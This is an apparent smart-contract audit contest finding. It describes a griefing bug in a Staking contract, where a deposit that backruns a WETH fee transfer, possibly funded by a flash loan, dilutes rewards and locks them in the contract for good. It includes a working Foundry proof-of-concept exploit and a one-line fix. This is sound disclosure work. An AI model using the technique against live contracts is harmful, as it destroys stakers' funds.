After rewards are sent to the staking contract, a deposit of tokens can be made to reduce the rewards distributed to stakers. This reduction on the rewards will be lost, claimable by nobody, and forever stuck on the staking contract.
Griefing of the staking contract can be achieved by backrunning the transfer of WETH with a token deposit and withdraw in the same transaction. The staking token could eventually be obtainable by a flash loan.
When new WETH is sent to the staking contract, if it is followed by a deposit, the calculation of the rewards is not correct.
On the deposit function first the tokens are transferred to the contract. Then the calculation of the rewards is done with the balance of the tokens currently on the staking contract, including the amount just deposited by the User. Despite the user having just diluted the rewards for the other users, he will be unable to claim the diluted amount. The diluted amount of rewards will be stuck on the contract.
Consider the following POC:
import "forge-std/Test.sol";
import "../src/Staking.sol";
import {ERC20, WETH} from "solady/src/tokens/WETH.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract StakingTest is Test {
Staking public staking;
WETH public wethToken;
TERC20 public stakingToken;
address public staker1 = address(0x1);
address public staker2 = address(0x2);
address public owner = address(0x3);
function setUp() public {
stakingToken = new TERC20();
wethToken = new WETH();
vm.deal(owner, 1000 ether);
vm.startPrank(owner);
staking = new Staking(address(stakingToken), address(wethToken));
stakingToken.mint(owner, 100 ether);
wethToken.deposit{value: 50 ether}();
}
function test_rewardsGriefing() public {
vm.startPrank(owner);
stakingToken.transfer(staker1, 20 ether);
// users stake the tokens
vm.startPrank(staker1);
stakingToken.approve(address(staking), 20 ether);
staking.deposit(20 ether);
vm.startPrank(owner);
// 10 WETH in fees are sent to the staking contract
wethToken.transfer(address(staking), 10 ether);
// staking.update(); // @note to have the test pass uncomment this line
vm.startPrank(owner);
stakingToken.transfer(staker2, 80 ether);
// staker 2 gets 80 tokens to backrun after the fees are deposited.
// tokens maybe can be obtained by flashloan and returned at the end of the transaction
vm.startPrank(staker2);
stakingToken.approve(address(staking), 80 ether);
staking.deposit(80 ether);
//return hipotetical flashloan
staking.withdraw(80 ether);
// claim the weth rewards
vm.startPrank(staker1);
staking.claim();
assertEq(wethToken.balanceOf(address(staking)) / 1 ether, 0);
assertEq(wethToken.balanceOf(address(staker1)) / 1 ether, 10);
assertEq(wethToken.balanceOf(address(staker2)) / 1 ether, 0);
// the first 10 weth are forever stuck on the contract
console.log("staking contract weth balance", wethToken.balanceOf(address(staking)) / 1 ether);
console.log("staker 1 eth balance", wethToken.balanceOf(staker1)/ 1 ether);
console.log("staker 2 eth balance", wethToken.balanceOf(staker2)/ 1 ether);
}
Permanent loss of WETH stuck in the staking contract. Reduction of rewards for legitimate stakers.
Foundry
The WETH rewards are being sent to the staking contract by the Fees contract. If staking.update() is called after the transfer of the fees, the issue will be prevented.
diff --git a/src/Fees.sol b/src/Fees.sol
@@ -35,11 +35,12 @@ contract Fees {
recipient: address(this),
deadline: block.timestamp,
amountIn: amount,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
amount = swapRouter.exactInputSingle(params);
IERC20(WETH).transfer(staking, IERC20(WETH).balanceOf(address(this)));
+ Staking(staking).update();
}
}
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.